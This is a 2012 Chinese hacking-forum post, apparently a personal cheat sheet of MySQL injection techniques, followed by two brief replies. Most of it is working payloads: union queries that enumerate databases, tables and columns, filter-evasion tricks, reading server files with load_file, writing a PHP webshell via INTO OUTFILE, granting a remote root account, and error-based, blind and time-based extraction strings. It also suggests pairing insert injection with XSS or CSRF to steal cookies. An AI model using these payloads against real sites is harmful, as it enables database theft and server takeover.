查看: 9305|回复: 2

【原创】mysql注入总结

[复制链接]
发表于 2012-7-30 21:24:56 | 显示全部楼层 |阅读模式
本帖最后由 L.N. 于 2012-7-31 22:53 编辑

最近不知怎么的!好像是很久不做渗透测试了!很多东西都忘了!简单的注入语句都想不起来!于是我想啊,有必要总结一下了,复习一下了!以前太懒不更新博客,记录东西,现在想复习翻以前的东西,什么都没有!汗啊!
-----------------------------以上全是废话--------------------
标题:mysql注入总结
作者:L.N.
时间:2012-07-23
博客:lanu.sinaapp.com

目录:
0x00 mysql一般注入(select)
0x01 mysql一般注入(insert、update)
0x02 mysql报错注入
0x03 mysql一般盲注
0x04 mysql时间盲注
0x05 mysql其他注入技巧
0x06 mysql数据库版本特性
0x07 声明

正文:

0x00 mysql一般注入(select)

1.注释符
#
/*
--

2.过滤空格注入


  1. 使用/**/或()或+代替空格

  2. %0c = form feed, new page
  3. %09 = horizontal tab
  4. %0d = carriage
  5. return
  6. %0a = line feed, new line
复制代码


3.多条数据显示

  1. concat()
  2. group_concat()
  3. concat_ws()
复制代码


4.相关函数


  1. system_user() 系统用户名
  2. user() 用户名
  3. current_user
  4. 当前用户名
  5. session_user()连接数据库的用户名
  6. database() 数据库名
  7. version()
  8. MYSQL数据库版本
  9. load_file() MYSQL读取本地文件的函数
  10. @@datadir 读取数据库路径
  11. @@basedir MYSQL
  12. 安装路径
  13. @@version_compile_os 操作系统 Windows Server 2003

  14. GRANT ALL PRIVILEGES ON *.* TO [url=mailto:]'root'@'%'[/url]
  15. IDENTIFIED BY '123456' WITH GRANT OPTION;
复制代码

5.mysql一般注入语句
猜字段数
  1. order by n/*
复制代码


查看mysql基本信息

  1. and 1=2 union select
  2. 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*
复制代码


查询数据库

  1. and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit
  2. 1,1/*
  3. and 1=2 union select 1,group_concat(schema_name),3,4 from
  4. information_schema.schemata/*
复制代码


查询表名

  1. and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where
  2. table_schema=数据库的16进制编码 limit 1,1/*
  3. and 1=2 union select
  4. 1,2,3,4,group_concat(table_name),5 from information_schema.tables where
  5. table_schema=数据库的16进制编码/*
复制代码


查询字段

  1. and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns
  2. where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1/*
  3. and 1=2
  4. union select 1,2,3,4,group_concat(column_name),5,6,7 from
  5. information_schema.columns where table_name=表名的十六进制编码 and
  6. table_schema=数据库的16进制编码/*
复制代码


查询数据


  1. and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/*

  2. 判断是否具有读写权限
  3. and (select count(*) from mysql.user)>0/*
  4. and (select
  5. count(file_priv) from mysql.user)>0/*
复制代码


6.mysql读取写入文件
必备条件:
读:file权限必备
写:1.绝对路径 2.union使用 3. 可以使用''  
-------------------------读----------------------                     

  1. mysql3.x读取方法
  2. create table a(cmd text);
  3. load data infile
  4. 'c:\\xxx\\xxx\\xxx.txt' into table a;
  5. select * from a;

  6. mysql4.x读取方法
  7. 除上述方法还可以使用load_file()
  8. create table a(cmd text);
  9. insert
  10. into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));
  11. select * from a;

  12. mysql5.x读取方法
  13. 上述两种都可以

  14. 读取文件技巧:
  15. load_file(char(32,26,56,66))
  16. load_file(0x633A5C626F6F742E696E69)
复制代码

------------写--------------------------

  1. into outfile写文件

  2. union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into
  3. outfile 'd:\web\90team.php'/*
  4. union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*
复制代码


0x01 mysql一般注入(insert、update)

mysql一般请求mysql_query不支持多语句执行,mysqli可以。

insert注入多使用报错注入!
1.如果可以直接插入管理员可以直接使用!
  1. insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/* ');
复制代码

2.如果可以插入一些数据,这些数据会在网页中显示,我们可以结合xxs和csrf来获取cookies或getshell

update注入同上

0x02 mysql报错注入

  1. 1. and(select 1 from(select count(*),concat((select (select (语句)) from
  2. information_schema.tables limit 0,1),floor(rand(0)*2))x from
  3. information_schema.tables group by x)a) and 1=1
复制代码
  1. 语句处填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM
  2. information_schema.schemata LIMIT 0,1
复制代码

  1. 2. and+1=(select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)--
复制代码

  1. 3.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM
  2. (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from
  3. information_schema.tables group by a)b);
复制代码




  1. 4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd
  2. (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select
  3. (语句)),1,62)))a from information_schema.tables group by a)b)));
复制代码


0x03 mysql一般盲注


  1. 使用ascii

  2. AND ascii(substring((SELECT password FROM users where id=1),1,1))=49

  3. 使用正则表达式

  4. and 1=(SELECT 1 FROM information_schema.tables  WHERE
  5. TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)
复制代码


0x04 mysql时间盲注


  1. 1170 union select
  2. if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5
  3. seconds')),null) from (select database() as current) as tbl



  4. UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0)
  5. User,Password FROM mysql.user WHERE User = ‘root’
复制代码



0x05 mysql其他注入技巧

以后遇见了更新

0x06 mysql数据库版本特性

1. mysql5.0以后  information.schema库出现
2. mysql5.1以后 udf 导入xx\lib\plugin\ 目录下
3.mysql5.x以后 system执行命令

0x07 声明

如有错误,希望指正
如果遗漏,希望讨论
小菜总结,大牛勿吐
记录笔记,时常复习

回复

使用道具 举报

发表于 2012-7-30 21:48:19 | 显示全部楼层
1.mysql注释符
#
/*
--

......?
回复 支持 反对

使用道具 举报

发表于 2012-8-24 19:43:37 | 显示全部楼层
不错,有收获
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-7 15:37 , Processed in 0.017055 second(s), 9 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部